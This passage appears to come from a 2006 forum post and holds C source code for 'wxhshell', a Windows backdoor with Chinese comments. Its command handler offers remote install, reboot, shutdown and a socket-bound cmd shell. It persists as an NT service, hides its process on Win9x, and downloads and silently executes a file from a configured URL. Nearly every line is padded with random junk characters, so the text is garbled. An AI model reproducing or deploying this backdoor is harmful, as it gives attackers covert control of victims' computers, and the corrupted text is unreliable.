      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R\9>2*w  
    break; a gmeiJT  
  } r!=]Q}`F  
  // 安装 \yJZvhUk  
  case 'i': { m6bWmGn GC  
    if(Install()) 2cs?("8e%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k8InbX[  
    else mC*W2#1pF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wq:b j=j  
    break; '|YtNhWZ?  
    } V9+xL 1U#  
  // 卸载 [<en1  
  case 'r': { &#.x)>f  
    if(Uninstall()) u4Y6B ]Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qO:U]\P  
    else otWo^CE$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FSW3'  
    break; kdK*MUB  
    } ;eS;AHZ  
  // 显示 wxhshell 所在路径 g2[K<  
  case 'p': { ax-=n(   
    char svExeFile[MAX_PATH]; $Qn& jI38  
    strcpy(svExeFile,"\n\r"); X)FL[RO%q  
      strcat(svExeFile,ExeFile); C $]5l; `  
        send(wsh,svExeFile,strlen(svExeFile),0); bh=\  
    break; 3q'K5} _  
    }  O]e6i%?  
  // 重启 )x$!K[=  
  case 'b': { :@:g*w2K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |RHO+J  
    if(Boot(REBOOT)) #D!$~ h&i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fl!mYCPv  
    else { S9OxI$6Y  
    closesocket(wsh); ::p-9F  
    ExitThread(0); %3]3r*e&5  
    } 0^J*+  
    break; `^O'V}T  
    } f2uZK!:m  
  // 关机 X }m7@r@  
  case 'd': { -0A@38, }  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LTg?5GwD\j  
    if(Boot(SHUTDOWN)) V8-4>H}Cb/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:Ln._bj  
    else { 4qqF v?O[r  
    closesocket(wsh); a^@+%?X  
    ExitThread(0); k%"$$uo  
    } 613/K`o  
    break; Zk wJ.SuU  
    } 60~v t04  
  // 获取shell Z$Z`@&U=  
  case 's': { ri_P;#lz  
    CmdShell(wsh); D*|( p6v1&  
    closesocket(wsh); !.9l4@z#  
    ExitThread(0); jeY4yM  
    break; cB{%u '  
  } 4+)Z k$E  
  // 退出 H!p!sn  
  case 'x': { fwRGT|":B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q%rVo4M#2  
    CloseIt(wsh); DKR<W.!*t  
    break; [`q.A`Fd  
    } _wMc*kjJO  
  // 离开 yU> T8oFh  
  case 'q': { 8a7YHUL<3i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); STv(kQs  
    closesocket(wsh); 6KVV z/  
    WSACleanup(); {>S4 #^@}  
    exit(1); ,K T<4  
    break; tzZ|S<e6=\  
        } SF0Jb"kS  
  } }Bd_:#.mw  
  } bS,etd  
;.\g-`jb  
  // 提示信息 T)`gm{T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Ph]*%  
} NOV.Bs{ yL  
  } =<Hy"4+?.  
Q< dba12  
  return; L+Eu d  
} %z=`JhE"Q  
r;9z 5'  
// shell模块句柄 /GyEVCc  
int CmdShell(SOCKET sock) '\@WN]  
{ :r\xkHg/f  
STARTUPINFO si; cFw3Iw"JJ  
ZeroMemory(&si,sizeof(si)); |l$ u<3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TWtC-wI;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ci;&CHa  
PROCESS_INFORMATION ProcessInfo; 6I"C~&dt  
char cmdline[]="cmd"; ~bWhth2*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1PmX." a  
  return 0; % ^e@`0L  
} KLW&bJ$|j  
_g65pxt =Z  
// 自身启动模式 ssPI$IRg!  
int StartFromService(void) lz- iCZ  
{ PaNeu1cO  
typedef struct z1#oW f{*  
{ [Q|M/|mnR1  
  DWORD ExitStatus; IOX:yxj  
  DWORD PebBaseAddress; 0Lx3]"v  
  DWORD AffinityMask; mLQUcYfR  
  DWORD BasePriority; <;aJ#qT  
  ULONG UniqueProcessId; CPVmF$A-  
  ULONG InheritedFromUniqueProcessId; j|k @MfA  
}   PROCESS_BASIC_INFORMATION; K0LbZMn,/  
i]dz}=j'  
PROCNTQSIP NtQueryInformationProcess; jK e.gA  
moaodmt]x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?@>;/@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !M,h79NM  
xuF5/(__  
  HANDLE             hProcess; q P'[&h5Y  
  PROCESS_BASIC_INFORMATION pbi; q#jEv-j.  
(m/aV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0lBat_<8  
  if(NULL == hInst ) return 0; h^Qh9G0dn  
Vli3>K&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I=o'+>az  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g1ytT%]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K0v.3  
`2,a(Sk#  
  if (!NtQueryInformationProcess) return 0; `/0u{[  
z(rK^RT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zWb -pF|  
  if(!hProcess) return 0; z,avQR&  
}I]W'<jY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =&N$Vqn  
b[yE~EQxr  
  CloseHandle(hProcess); zA,/@/'(  
w2C&%Xk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d+Ds9(gV  
if(hProcess==NULL) return 0; dl_{iMhF&E  
Ch7Egz l7?  
HMODULE hMod; >J@egIKzP  
char procName[255]; [g`,AmR\!  
unsigned long cbNeeded; c_Tzyh7l4  
8""mp]o9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wA631kr  
{\L|s5=yr  
  CloseHandle(hProcess); yhwy>12,K  
xHe^"LL  
if(strstr(procName,"services")) return 1; // 以服务启动 06jMj26!  
Wy.";/C  
  return 0; // 注册表启动 5j`v`[B;  
} 9ad6uTc  
FQ!Oxlq,Q  
// 主模块 :/i~y$t  
int StartWxhshell(LPSTR lpCmdLine) ~z`/9 ;  
{ +6oG@  
  SOCKET wsl; PtqGX=u  
BOOL val=TRUE; }PZ=`w*O  
  int port=0; / gu3@@h  
  struct sockaddr_in door; ,VWGq@o%  
<sc\EK  
  if(wscfg.ws_autoins) Install(); ,T{oy:rB  
5 VKcV&D  
port=atoi(lpCmdLine); `m, Ki69.  
>XnO&hW  
if(port<=0) port=wscfg.ws_port; A9;0y jae  
(Q_2ODKo  
  WSADATA data; i. M2E$b|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z2bUs!0  
]u0Jd#@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7E~4)k0<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a q kix"J  
  door.sin_family = AF_INET; L {qJ-ln:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Up|f=@=  
  door.sin_port = htons(port); OD|1c6+X  
HTR1)b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $:;%bjSI  
closesocket(wsl); n|C|&  
return 1; agT7=hX].  
} 2*Q3.2 Z  
N"1 QX6  
  if(listen(wsl,2) == INVALID_SOCKET) { Y`^o7'Z2^P  
closesocket(wsl); O] ZC+]}/  
return 1; m[rL\](-  
} KTv4< c]  
  Wxhshell(wsl); LS6ry,D"7  
  WSACleanup(); >3P9 i ;W  
<+q$XL0  
return 0; $ eX*  
y\z > /q  
} q~h:<,5  
}p{;^B  
// 以NT服务方式启动 ?0z)EPQ|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [pR)@$"k'  
{ S_5?U2%D  
DWORD   status = 0; r0Z+ RB^I  
  DWORD   specificError = 0xfffffff; Ux_<d?p  
L|J~9FM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SUu >6'LN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sg$4G:l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k>>`fE\K  
  serviceStatus.dwWin32ExitCode     = 0; rS,j;8D-  
  serviceStatus.dwServiceSpecificExitCode = 0; ]1}h8/  
  serviceStatus.dwCheckPoint       = 0; lsFfb'>  
  serviceStatus.dwWaitHint       = 0; qiU5{}  
xFwXW )  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =ybGb7?  
  if (hServiceStatusHandle==0) return; r--;yEjWE  
[>p6   
status = GetLastError(); !0Nf9  
  if (status!=NO_ERROR) l5HWZs^  
{ )E~_rDTl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G_+Ph^  
    serviceStatus.dwCheckPoint       = 0; 6(.H3bu  
    serviceStatus.dwWaitHint       = 0; :t5uDKZ_j)  
    serviceStatus.dwWin32ExitCode     = status; p%8 v`  
    serviceStatus.dwServiceSpecificExitCode = specificError; v:A:37#I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2&x7W*  
    return; $m8leuo)  
  } pyF5S,c  
@G(xaU'u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1LyT7h  
  serviceStatus.dwCheckPoint       = 0; A6i et~h[  
  serviceStatus.dwWaitHint       = 0; zDd5cxFdZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iokPmV  
} DB~MYOX~  
~<eVl l=  
// 处理NT服务事件,比如:启动、停止 G * @@K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F"=Hp4-C  
{ Aqu]9M~  
switch(fdwControl) *:j-zrwu&  
{ @?d?e+B  
case SERVICE_CONTROL_STOP: Qg>0G%cXU  
  serviceStatus.dwWin32ExitCode = 0; !EM#m@kZ{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KGQC't  
  serviceStatus.dwCheckPoint   = 0; zLK\I~rU!  
  serviceStatus.dwWaitHint     = 0; kXEtuO5FUM  
  { ENyAF%6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |lE-&a$xd  
  } Efvq?cG&  
  return; .HCaXFW  
case SERVICE_CONTROL_PAUSE: >[8#hSk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %wtXo BJ  
  break; <N-=fad]  
case SERVICE_CONTROL_CONTINUE: %Zu Ll(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 117c,yM0  
  break; /sV?JV[t  
case SERVICE_CONTROL_INTERROGATE: &M= 3{[  
  break; ,02w@we5  
}; #Z!#;%S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {=6)SBjf  
} Ysl9f1>%  
ke^d8Z.  
// 标准应用程序主函数 q- H&5K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }U i_ynZ!  
{ vS#{-X  
UFIjW[h  
// 获取操作系统版本 qS| AdkNL  
OsIsNt=GetOsVer(); =R2l3-HA=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AygvJeM_W  
aH  
  // 从命令行安装 ^6#-yDZC@  
  if(strpbrk(lpCmdLine,"iI")) Install(); `yx56  
WDvV LU`  
  // 下载执行文件 D$mf5G &  
if(wscfg.ws_downexe) { q^%5HeV 2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d "B5==0I  
  WinExec(wscfg.ws_filenam,SW_HIDE); M_; w %FV  
} 4ODX 5If  
BJ2Q2W W  
if(!OsIsNt) { _)q4I(s*  
// 如果时win9x,隐藏进程并且设置为注册表启动 uD[^K1Ag]^  
HideProc(); -aT=f9u  
StartWxhshell(lpCmdLine); Y!aLf[x]  
} ]Cr]Pvab{  
else GeVc\$K-  
  if(StartFromService()) 4Lw'v:(  
  // 以服务方式启动 "&}mAWT%If  
  StartServiceCtrlDispatcher(DispatchTable); IX?@~'  
else m3B \)2B  
  // 普通方式启动 RRNH0-D1l  
  StartWxhshell(lpCmdLine); K]9tc)  
$M-NR||k  
return 0; pb6 Q?QG,  
}
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只看该作者 1 发表于: 2006-10-10
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